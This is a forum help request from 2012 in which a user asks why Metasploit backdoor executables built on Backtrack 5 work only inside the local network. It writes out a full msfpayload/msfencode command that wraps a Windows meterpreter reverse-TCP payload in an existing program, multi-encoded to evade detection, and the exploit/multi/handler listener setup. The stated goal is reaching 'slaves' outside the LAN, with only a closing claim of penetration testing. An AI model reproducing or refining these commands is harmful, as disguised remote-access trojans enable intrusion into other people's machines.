Backdoor outside of LAN - help

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Backdoor outside of LAN - help

Post by -Ninjex- on Sun Sep 02, 2012 9:56 pm
([msg=69100]see Backdoor outside of LAN - help[/msg])


I have been using Backtrack 5 to create backdoor executable files using the reverse tcp payload (I used port 443).
I realized that this is only effective to slaves located in my LAN when using LHOST to my internal IP.
I tried switching to my external IP to try and make this affect targets outside of my LAN, but no luck.
I set up port forwarding to port 443 from inside my router settings.
It gives me a error and sets the listener to instead of using the external IP as it should.

I have been trying to resolve this issue for a while.
I even tried setting up an apache server from the backtrack services, and still no luck.
I also downloaded, extracted, and ran and tried it instead of using:

Creating the backdoor.exe file:

Code: Select all
msfpayload windows/meterpreter/reverse_tcp LHOST=108.248.*.* LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 5 -t exe -x /root/Desktop/filenamehere.exe -o /root/Desktop/backdoor.exe

Enable the listener for port 443:
Code: Select all

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 108.248.*.*

set LPORT 443


and still no luck!!!!

This is for penetration testing on my end, all help is appreciated!

Thanks in advance,
1. No system is safe.
2. Aim for the impossible.
3. Have fun in cyberspace and meatspace.

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